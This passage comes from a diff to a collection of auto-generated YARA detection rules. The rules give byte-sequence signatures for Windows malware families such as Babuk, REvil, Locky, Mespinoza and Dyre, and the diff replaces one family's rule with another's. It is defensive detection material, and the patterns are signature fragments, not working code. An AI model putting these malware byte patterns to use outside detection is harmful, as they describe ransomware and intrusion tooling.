-		logic_hash = "901b4babc945e8ca2e1c5355e28b2f0271cc8d172828c522a735944d40fb2e3b"
+		logic_hash = "96f11afeb919508bb147708a5d367711547bdbf470c62d9b42f3889c5cdbbcd4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138406,32 +145408,32 @@ rule MALPEDIA_Win_Casper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 47 57 50 6801000080 e8???????? 85c0 756f }
-		$sequence_1 = { e8???????? 8b7b34 85ff 7405 e8???????? }
-		$sequence_2 = { 885006 8b55fc c1ea18 885007 8bd3 c1ea08 885009 }
-		$sequence_3 = { 51 a1???????? 85c0 751a e8???????? 689c9678bf 68???????? }
-		$sequence_4 = { 837de803 752a 837df808 8b75f4 7514 85f6 742b }
-		$sequence_5 = { 8bbb48010000 8b8b68010000 33d2 8bc7 f7f1 85d2 7406 }
-		$sequence_6 = { 8bd8 8d4510 50 81ce19000200 }
-		$sequence_7 = { 85ff 7405 e8???????? 8bce e8???????? 5f 5e }
-		$sequence_8 = { 50 57 57 6800000008 53 57 57 }
-		$sequence_9 = { 7504 8bde eb03 83c305 68???????? 53 e8???????? }
+		$sequence_0 = { 33c9 ba0c000000 e8???????? c78564d7ffff0c000000 33c0 898568d7ffff }
+		$sequence_1 = { 5a 59 59 648910 68???????? 8d85e8f3ffff }
+		$sequence_2 = { 0fb607 8845f7 0fb6c1 8b55fc 0fb60402 8807 }
+		$sequence_3 = { 50 ff15???????? 85c0 741f 8b8424a80d0000 894348 }
+		$sequence_4 = { 895de4 895de8 895df4 894df0 8955f8 8945fc 8d45fc }
+		$sequence_5 = { 53 e8???????? a3???????? 8d95a8fbffff b8???????? e8???????? 8b85a8fbffff }
+		$sequence_6 = { c78568d7ffff0c000000 33c0 89856cd7ffff c78570d7ffffffffffff 6a00 6a01 8d8568d7ffff }
+		$sequence_7 = { 8b45fc e8???????? 50 e8???????? 8d8564d7ffff 33c9 ba0c000000 }
+		$sequence_8 = { 8d85f0fbffff 50 53 e8???????? 8945f0 a1???????? 50 }
+		$sequence_9 = { 53 e8???????? 6800800000 6a00 56 }
 
 	condition:
-		7 of them and filesize <434176
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Mongall_Auto : FILE
+rule MALPEDIA_Win_Sfile_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "df02f29b-7e4c-5b43-ac4d-a0a6d3cf6ee1"
+		id = "2a05bff3-25b7-5fd3-9a80-0b0955cab792"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mongall_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sfile_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "09c3cb724c571a18322afe8d7b1ace648402df7ba3a7200f8ca50d9538f078c7"
+		logic_hash = "b6be99a284bb08bd87d7e6d12a69d9966762868a0d094add32f60ffa636331bd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138445,32 +145447,32 @@ rule MALPEDIA_Win_Mongall_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8b400c 8b08 8b11 52 ff15???????? ba???????? }
-		$sequence_1 = { 85ff 747c 56 57 68???????? e8???????? 68???????? }
-		$sequence_2 = { f3a5 8bc8 8b8500d9ffff 83e103 43 }
-		$sequence_3 = { 59 8985a0fdffff 3bc1 0f87cb090000 ff2485e6574000 838de8fdffffff 89b594fdffff }
-		$sequence_4 = { 8bd8 83fbff 7448 68???????? e8???????? }
-		$sequence_5 = { e8???????? 8bfc 85ff 741d 8b8df4fdffff 56 }
-		$sequence_6 = { 56 8d45f0 33f6 50 8935???????? 8935???????? ff15???????? }
-		$sequence_7 = { 8b7df0 8bc7 5f 5e c60300 }
-		$sequence_8 = { 89b5e4fdffff 89b5e0fdffff 89b5c0fdffff 888deffdffff }
-		$sequence_9 = { 85f6 5e 741d 8d85f8feffff }
+		$sequence_0 = { 50 e8???????? 8b4d08 8b5144 }
+		$sequence_1 = { 8b55fc 83c201 8955fc 837dfc08 7d12 }
+		$sequence_2 = { e8???????? 83c41c eb2b 837d0803 7525 }
+		$sequence_3 = { 8bec 83ec20 8b4508 8b888c050000 }
+		$sequence_4 = { eb13 8b55f8 8b4210 8d0c8510000000 }
+		$sequence_5 = { 51 ff15???????? 8b55f0 52 ff15???????? 8b45ec 50 }
+		$sequence_6 = { c745fc08000000 eb09 8b85b8fdffff 8945fc 8b4dfc 83c106 }
+		$sequence_7 = { 8d4c0002 8b55e8 894a04 8b45f8 }
+		$sequence_8 = { 68fc000000 8b4df0 8b11 52 }
+		$sequence_9 = { c60100 837dec00 7547 6af5 ff15???????? 8945f0 }
 
 	condition:
-		7 of them and filesize <199680
+		7 of them and filesize <588800
 }
-rule MALPEDIA_Win_Homefry_Auto : FILE
+rule MALPEDIA_Win_Mespinoza_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a10ca8d8-82df-517d-ba70-a87080178507"
+		id = "6af67872-bac6-59d0-8e7f-a6515453822a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.homefry_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mespinoza_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "17959e0d47a35ecd2de71b5f2bf7c90338d7ed773cdd572cf03461913b5cbcc7"
+		logic_hash = "b9e1c3335fd9ffa3b60b976c6289b141c236447ff76a5dd17787957756af56c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138484,32 +145486,32 @@ rule MALPEDIA_Win_Homefry_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 4863d5 4803d0 488b05???????? 488917 48630a }
-		$sequence_1 = { 4889b5f0020000 4803cb ff15???????? 85c0 7873 488b95f0020000 }
-		$sequence_2 = { 740f 8bcf 4803cd 7408 }
-		$sequence_3 = { 8b4c2470 ff15???????? 8b4c2478 488905???????? ff15???????? 488b0d???????? }
-		$sequence_4 = { c705????????94000000 ff15???????? 33d2 8d4a02 ff15???????? 488bd8 }
-		$sequence_5 = { e8???????? 84c0 0f8418010000 48833d????????00 48899c24a0000000 4889b424a8000000 7471 }
-		$sequence_6 = { ff15???????? 488bcb ff15???????? 4881c420040000 }
-		$sequence_7 = { 488bc8 e8???????? 84c0 7426 48630d???????? 488bc3 85c9 }
-		$sequence_8 = { e8???????? eb05 e8???????? 84c0 7511 488d0ddd180000 }
-		$sequence_9 = { 483bdd 72d0 488bcf ff15???????? 33c0 488b5c2430 488b6c2438 }
+		$sequence_0 = { 8d4d9c e8???????? 83eb01 75e7 8b4d0c }
+		$sequence_1 = { 897d0c c645fc01 85ff 7446 56 8bcf e8???????? }
+		$sequence_2 = { 8b4dc4 8b7dc0 6aff 6a01 }
+		$sequence_3 = { 891f 895f04 6a01 895dfc e8???????? 59 894704 }
+		$sequence_4 = { 03c1 3bc1 7334 8bde 8bf1 2bf0 }
+		$sequence_5 = { 75f9 2bd6 8db5f8feffff 8d5e01 8a06 46 84c0 }
+		$sequence_6 = { 83e03f 6bd030 895de4 8b049d00b04700 8945d4 8955e8 8a5c1029 }
+		$sequence_7 = { 8b6c240c 56 57 55 8bf9 e8???????? 8b37 }
+		$sequence_8 = { 64a300000000 8965f0 8b7508 8b7d0c 8975ec c745fc00000000 0f1f440000 }
+		$sequence_9 = { 8bc3 2bc2 894714 8b7508 8bce e8???????? 84c0 }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <1091584
 }
-rule MALPEDIA_Win_Nimrev_Auto : FILE
+rule MALPEDIA_Win_Manjusaka_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "62b602c2-9378-5d4d-8f76-ba10a1fe3c95"
+		id = "9f188d62-91cb-5093-86fd-1c78b358599b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nimrev_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.manjusaka_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "276c930d9217520c07d5dbe59ac126b04c22edd3ab1aa62095745bbe5305f85e"
+		logic_hash = "dab9ae475e0b441f3d26af80a0ebc722e21c766bc33599d09d1c1a5353ad7516"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138523,32 +145525,32 @@ rule MALPEDIA_Win_Nimrev_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd0 90 e9???????? 90 b9d0070000 e8???????? }
-		$sequence_1 = { c1e002 01d0 01c0 29c1 89c8 83c030 89c1 }
-		$sequence_2 = { b801000000 eb05 b800000000 8845f7 eb01 90 }
-		$sequence_3 = { b801000000 eb05 b800000000 8845f7 eb01 90 0fb645f7 }
-		$sequence_4 = { eb05 b800000000 8845f7 eb01 90 }
-		$sequence_5 = { 83f001 84c0 7408 90 }
-		$sequence_6 = { 0fb600 3c7d 7407 b801000000 eb05 }
-		$sequence_7 = { 89c1 e8???????? eb04 90 eb01 90 }
-		$sequence_8 = { 3c7d 7407 b801000000 eb05 }
-		$sequence_9 = { eb01 90 0fb645f6 8845f7 }
+		$sequence_0 = { ebb8 488d05b77a1000 4889442450 48c744245801000000 48c744246000000000 488d05f9b01100 4889442470 }
+		$sequence_1 = { 4c89bc2480040000 4c8939 4c897108 48895910 48c7411800800000 0f117018 48897930 }
+		$sequence_2 = { 791d 418b4128 41034124 4863c8 488bc2 48f7d8 48c1e00a }
+		$sequence_3 = { 89411c 488b45d7 2b4527 05feffff07 89710c 894120 8b45db }
+		$sequence_4 = { 4989f8 e8???????? 48ffcb 75ed 0f57f6 488d9c2410010000 0f297320 }
+		$sequence_5 = { 898c24f8000000 48896c2448 3b08 0f8c21fdffff 4c8bbc24f0000000 4d85f6 7424 }
+		$sequence_6 = { 814d4002020000 4533c0 48894500 498bcd 83c8ff 66894544 b8c8000000 }
+		$sequence_7 = { 89573c 48894740 895750 488b442e60 48894758 488b442e28 488b4860 }
+		$sequence_8 = { f7d8 894c2420 448bc5 498bcd 1bd2 4533c9 83e2fc }
+		$sequence_9 = { e8???????? 4889d9 e8???????? 488d4f70 e8???????? 488d8fe0000000 e8???????? }
 
 	condition:
-		7 of them and filesize <1141760
+		7 of them and filesize <4772864
 }
-rule MALPEDIA_Win_Biscuit_Auto : FILE
+rule MALPEDIA_Win_Payloadbin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cbdd41f1-3e24-52e8-913d-0c21f28eadad"
+		id = "2565adb0-0fc6-53d7-a6d7-714ee1e92525"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.biscuit_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.payloadbin_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "c4b7181ffb74601ad4f6fe9643262fda887ff950b5291eeca17cee75a1b1c812"
+		logic_hash = "23ee48d932fb0666838e9fe4bd35ace2ae0b6a999ccab2645c6692a493a38f19"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138562,32 +145564,32 @@ rule MALPEDIA_Win_Biscuit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? a1???????? 898588feffff 83bd88feffff00 0f85bb010000 bf???????? }
-		$sequence_1 = { 84c0 894b04 0f84e8feffff 8b542418 52 }
-		$sequence_2 = { 8a54040c 40 f6d2 8854040b 3bc1 }
-		$sequence_3 = { eb04 8b7c2424 8b4604 53 53 53 }
-		$sequence_4 = { e9???????? 8b4de4 bf???????? 33c0 8d9980000000 83c9ff f2ae }
-		$sequence_5 = { f2ae f7d1 49 3bd1 731f 8b7de0 8a0c1a }
-		$sequence_6 = { 740e 68???????? 57 e8???????? 83c408 f60610 }
-		$sequence_7 = { 899538feffff 83bd38feffff00 7511 8b85ccfeffff 2b45e4 8985c0feffff }
-		$sequence_8 = { c1e902 f3a5 8bc8 83e103 f3a4 68c8000000 ff15???????? }
-		$sequence_9 = { 8bcb e8???????? 84c0 7426 8b7b04 8bcd 8bd1 }
+		$sequence_0 = { eb05 bb08000000 488b0d???????? 4c8bc7 33d2 ff15???????? 413bdf }
+		$sequence_1 = { 668930 41c0f1c1 0fb70f 488bd7 450ad1 4c8bce 66410fabca }
+		$sequence_2 = { e9???????? 6644893c4f 660fc9 488bcf e9???????? ff15???????? e9???????? }
+		$sequence_3 = { f5 4803d5 e9???????? e8???????? 83c340 66413bf2 8d433f }
+		$sequence_4 = { c18c2400000000bb 48f79c2400000000 0f87deb91400 488d642418 9d }
+		$sequence_5 = { 4433c1 664133ce 418b0c84 d2e8 23cd 66410fbcc1 660bc4 }
+		$sequence_6 = { e8???????? c0a4241000000074 6873173773 48818424080000009c149337 49b90d1dba73583cde39 e8???????? 0f8867890000 }
+		$sequence_7 = { 41f6c593 483bc7 e9???????? 0f8482020000 488d4330 488d4b08 e9???????? }
+		$sequence_8 = { 8505bfcdef86 fb beae9070fe 40ad 6f }
+		$sequence_9 = { 6681ac2418000000ff28 4881842408000000b8559f29 e8???????? 9c 4881842408000000157db449 66818424100000001054 50 }
 
 	condition:
-		7 of them and filesize <180224
+		7 of them and filesize <3761152
 }
-rule MALPEDIA_Win_Locky_Auto : FILE
+rule MALPEDIA_Win_Webc2_Qbp_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0065ec05-3bad-56a6-868c-9fbbe2e6de6d"
+		id = "b171d237-d33f-5b2c-9bb0-c659a34a40b8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.locky_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_qbp_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "3ed4a85dfe440bb226db6c3cc6e1aa5c521449c7aa69fbc084d35b1292d156c0"
+		logic_hash = "d54f700be976af1656f6aaefd7f02b0196b5db00252f63d6c12db29d09a9a088"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138601,38 +145603,32 @@ rule MALPEDIA_Win_Locky_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89b560ffffff 898568ffffff ffd7 8bf8 897de0 3bfb }
-		$sequence_1 = { 8b4db8 3975cc 7303 8d4db8 8b45d4 3975e8 }
-		$sequence_2 = { 50 50 50 894de8 8b4d08 }
-		$sequence_3 = { 8d459c 50 8d45b8 50 e8???????? 59 59 }
-		$sequence_4 = { 46 3bf0 7621 8bc8 d1e9 ba49922409 }
-		$sequence_5 = { 8bc6 03c1 3810 7412 83ff10 7204 }
-		$sequence_6 = { 837e1410 8b4610 7202 8b36 50 56 8d45f0 }
-		$sequence_7 = { 83c9ff 8bf0 51 e8???????? 40 50 }
-		$sequence_8 = { 03d3 5b c21000 e9???????? 8bff 55 8bec }
-		$sequence_9 = { 6a44 90 e9???????? 90 }
-		$sequence_10 = { 5d 90 ebf6 90 }
-		$sequence_11 = { 83c40c e9???????? 90 8d00 }
-		$sequence_12 = { 66ab e9???????? 90 8d36 }
-		$sequence_13 = { ff15???????? e9???????? 90 50 90 }
-		$sequence_14 = { 66ab 90 e9???????? 8d36 }
-		$sequence_15 = { 5e c21000 8bff 55 8bec 33c0 8b4d08 }
+		$sequence_0 = { 85c0 7511 8d85e8fcffff 50 ff15???????? }
+		$sequence_1 = { 3b9090830000 0f8e9d000000 8b4df0 8b819c830000 0345fc 6bc003 99 }
+		$sequence_2 = { 83c40c c785e0fcffff01000000 ff15???????? 8985f4feffff 8b95e0fcffff 52 8b85f0feffff }
+		$sequence_3 = { b9fa000000 2bc8 898dd8fcffff 8b95e8fdffff 52 e8???????? 83c404 }
+		$sequence_4 = { 83ec0c 56 894df4 66c745fc0000 eb0c 668b45fc 66050100 }
+		$sequence_5 = { 85c0 746d 8d4dfc 51 8d55f8 52 e8???????? }
+		$sequence_6 = { 8b450c 25ffff0000 50 8b4dec 51 ff15???????? 8945fc }
+		$sequence_7 = { 0fbf4dec 3bc1 7d7d 8b4de4 e8???????? 668945f4 0fbf55f4 }
+		$sequence_8 = { 81eafd000000 668955ec 66c745e80000 eb0c 668b45e8 66050100 668945e8 }
+		$sequence_9 = { 83bde8fdffff00 7574 6800010000 6a00 8d85ecfdffff 50 }
 
 	condition:
-		7 of them and filesize <1122304
+		7 of them and filesize <630784
 }
-rule MALPEDIA_Win_Iisniff_Auto : FILE
+rule MALPEDIA_Win_Pgift_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4d48d0b9-4608-5fda-9d9c-52fef07b4d04"
+		id = "77b72e7a-f170-5cb6-9a32-dd868251e29f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.iisniff_auto.yar#L1-L161"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pgift_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "eea8ed3537fc508bcc20c7dcdf7a5fa6fb525fac16191889baa1f35692f7bc88"
+		logic_hash = "5fec76c05b43d836fa9681344d4e2173c2fdd272e3aa573e02794115bc07ca47"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138646,37 +145642,32 @@ rule MALPEDIA_Win_Iisniff_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7513 8b442414 8b4804 53 }
-		$sequence_1 = { 8b8c240c000100 56 8d842414000100 50 51 }
-		$sequence_2 = { 7507 be04000000 eb69 c645fc01 8b0f }
-		$sequence_3 = { 55 56 8bb42488000000 57 33db }
-		$sequence_4 = { 83d8ff 85c0 7537 8dbc24a4000000 e8???????? }
-		$sequence_5 = { 5f 5b c20400 8b4038 8b08 890e }
-		$sequence_6 = { 8b45cc ff704c e8???????? 59 83f8ff 0f852cffffff }
-		$sequence_7 = { 56 8d4dd4 894598 e8???????? 8365fc00 56 8d4d9c }
-		$sequence_8 = { 895c241c 89442420 e8???????? 8bf0 }
-		$sequence_9 = { e8???????? 83c404 8d8c24fc000000 899c2448010000 89bc2444010000 }
-		$sequence_10 = { 6a03 68000000c0 68???????? ff15???????? 6a02 }
-		$sequence_11 = { e8???????? 8b4f3c 8b11 8d75c8 56 ff75cc }
-		$sequence_12 = { ff75e8 e8???????? 834dfcff 8b45dc }
-		$sequence_13 = { c3 ff7508 e8???????? 59 c3 833d????????00 7505 }
-		$sequence_14 = { 64a300000000 80bc24a400000000 7409 6a00 6a00 e8???????? 8b410c }
+		$sequence_0 = { 53 ff7508 e8???????? 83450804 83c304 }
+		$sequence_1 = { 2bc8 c1f902 7454 50 8d4de8 }
+		$sequence_2 = { 50 0fb745d4 50 8d45ec ff760c }
+		$sequence_3 = { 8d4df0 c645fc02 e8???????? ff750c }
+		$sequence_4 = { 83f8ff 741e 53 50 8d4de8 e8???????? ff75e8 }
+		$sequence_5 = { 8d4df0 ff3498 e8???????? 83f8ff }
+		$sequence_6 = { 33db 8d4dec 895dfc e8???????? 8d8dd0feffff 895de8 e8???????? }
+		$sequence_7 = { c645fc03 897e38 897e34 897e30 e8???????? 3bc7 }
+		$sequence_8 = { ff7634 53 50 e8???????? 83c40c 8d4638 }
+		$sequence_9 = { 8d4de8 e8???????? 6a5c 8d4de8 c645fc01 }
 
 	condition:
-		7 of them and filesize <1441792
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Vyveva_Auto : FILE
+rule MALPEDIA_Win_Babuk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5f920383-d05c-5c69-8d2c-6a773f2538b6"
+		id = "d5eda12f-ea4b-52c1-b2a1-b261c48c105c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vyveva_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.babuk_auto.yar#L1-L163"
 		license_url = "N/A"
-		logic_hash = "9d5c74e05efbe3ba7525bfb04e432ddba69e01227882b7ebe7ef3564991f92e2"
+		logic_hash = "55094f2694a9f4921a100bba31a1afb9b9947feff6d1ffe3b263a4bd8f4c17f7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138690,32 +145681,38 @@ rule MALPEDIA_Win_Vyveva_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 58 ff7008 5a 8916 3b4808 7405 }
-		$sequence_1 = { 51 8f00 8b4c2408 85c9 7407 51 8f4004 }
-		$sequence_2 = { 57 56 51 55 59 e8???????? ff30 }
-		$sequence_3 = { 56 59 50 e8???????? 8d8c2494010000 6a04 }
-		$sequence_4 = { 740a 394424fc 7404 894424fc 83ec04 5d 83fdff }
-		$sequence_5 = { 83ec38 8b15???????? 8d442404 55 56 }
-		$sequence_6 = { 2bce 59 7409 33c9 8d4c0e04 83e904 ff5004 }
-		$sequence_7 = { 6a00 52 50 6a06 e8???????? 83c404 ffd0 }
-		$sequence_8 = { 59 c644247801 e8???????? 8b4c2434 8b442430 8d542428 894c242c }
-		$sequence_9 = { 7408 c70100000000 0101 83c008 85c0 7403 55 }
+		$sequence_0 = { ff15???????? 6800000100 e8???????? 83c404 }
+		$sequence_1 = { 50 ff15???????? 83f803 7502 }
+		$sequence_2 = { 8b45fc 83c002 8945fc 837dfc0a 0f83dc000000 8b4dfc }
+		$sequence_3 = { 8b4d08 8b540104 52 8b0401 50 e8???????? }
+		$sequence_4 = { 8b4dfc c1e108 ba01000000 d1e2 8b4508 }
+		$sequence_5 = { 8b95ccfdffff 83c201 8995ccfdffff 83bdccfdffff1f 735f 8d85f4fdffff }
+		$sequence_6 = { 8b4dfc 8b5508 8b44ca04 50 }
+		$sequence_7 = { 8b4d08 c7040100000000 c744010400000000 ba08000000 }
+		$sequence_8 = { 0bca 894dfc 8b45fc c1e008 b901000000 }
+		$sequence_9 = { 8b0401 50 e8???????? 83c408 8945ec 8955f0 }
+		$sequence_10 = { c744010400000000 ba08000000 6bc200 8b4d08 }
+		$sequence_11 = { 8b4508 c704107465206b c745fc00000000 eb09 }
+		$sequence_12 = { 744a 837dd801 7444 8b55ec 52 ff15???????? 8d45ac }
+		$sequence_13 = { e8???????? 83c410 c78574ffffff00000000 eb0f }
+		$sequence_14 = { 57 b808000000 6bc80a 8b5508 c7040a00000000 c7440a0400000000 c745fc00000000 }
+		$sequence_15 = { 51 e8???????? 83c408 8945f4 8955f8 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <183296
 }
-rule MALPEDIA_Win_Revil_Auto : FILE
+rule MALPEDIA_Win_5T_Downloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "81d28baf-82e1-54c0-bbf9-d56336789206"
+		id = "fe4393a3-e3cd-5e60-a348-fa50df874e7a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.revil_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.5t_downloader_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "2c34d02da785d928c9b5b4ca67c597715944f5d05b15c54928c0e64e7282a006"
+		logic_hash = "708a5991b6f83db848239b1110cc9bc587325f0c0450305b55a83b6de5bbd18e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138729,32 +145726,32 @@ rule MALPEDIA_Win_Revil_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 334f1c 83c720 d1f8 83e801 89450c e9???????? 8b7510 }
-		$sequence_1 = { 50 e8???????? 8b7d08 8db568ffffff 83c414 }
-		$sequence_2 = { 83e801 eb07 b00a 5d c3 83e862 7428 }
-		$sequence_3 = { 8d8510ffffff 50 8d8560ffffff 50 8d45b0 50 e8???????? }
-		$sequence_4 = { ff750c 8d45b0 50 8d85c0feffff 50 }
-		$sequence_5 = { 8b4508 8b404c 8945f0 8b45e8 894b28 f7d0 23c2 }
-		$sequence_6 = { 334de0 8b4048 8b5d08 8945ec 8b4508 }
-		$sequence_7 = { ff7520 e8???????? 8d8580feffff 50 ff7524 }
-		$sequence_8 = { 8975d8 0fb645ff 0bc8 8bc1 894dd8 }
-		$sequence_9 = { 83e813 0f8461060000 83e83d 0f84fa020000 f6c204 7411 80f92c }
+		$sequence_0 = { 7409 83781800 7403 5d }
+		$sequence_1 = { 85c9 7409 83781800 7403 5d }
+		$sequence_2 = { 85c9 7409 83781800 7403 }
+		$sequence_3 = { 85c0 7416 83781400 7510 }
+		$sequence_4 = { 85c9 7409 83781800 7403 5d ffe1 83c8ff }
+		$sequence_5 = { 8b4508 85c0 7416 83781400 7510 }
+		$sequence_6 = { 55 8bec 8b4508 85c0 7416 83781400 7510 }
+		$sequence_7 = { 85c9 7409 83781800 7403 5d ffe1 }
+		$sequence_8 = { 7409 83781800 7403 5d ffe1 83c8ff }
+		$sequence_9 = { 8bec 8b4508 85c0 7416 83781400 7510 }
 
 	condition:
-		7 of them and filesize <155794432
+		7 of them and filesize <539648
 }
-rule MALPEDIA_Win_Naikon_Auto : FILE
+rule MALPEDIA_Win_Dyre_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2b0fa492-57d4-5b88-95d9-a0b325c3a81c"
+		id = "a2cdb89d-a2b8-54db-b921-a02d048236a7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.naikon_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dyre_auto.yar#L1-L170"
 		license_url = "N/A"
-		logic_hash = "10ad96daf91bea73d71b90a544491c018eb03e29efd792a88809f482c814e2f1"
+		logic_hash = "e9097ad46c004cb1ae831fc1ba01674dc80d073ddf943ce6f2fcdbae48599a8a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138768,32 +145765,38 @@ rule MALPEDIA_Win_Naikon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 881c08 8d4405c9 50 e8???????? 59 8b4d0c 8901 }
-		$sequence_1 = { 8d85f8feffff 68???????? 50 e8???????? 8b3d???????? 83c418 8d85a8fcffff }
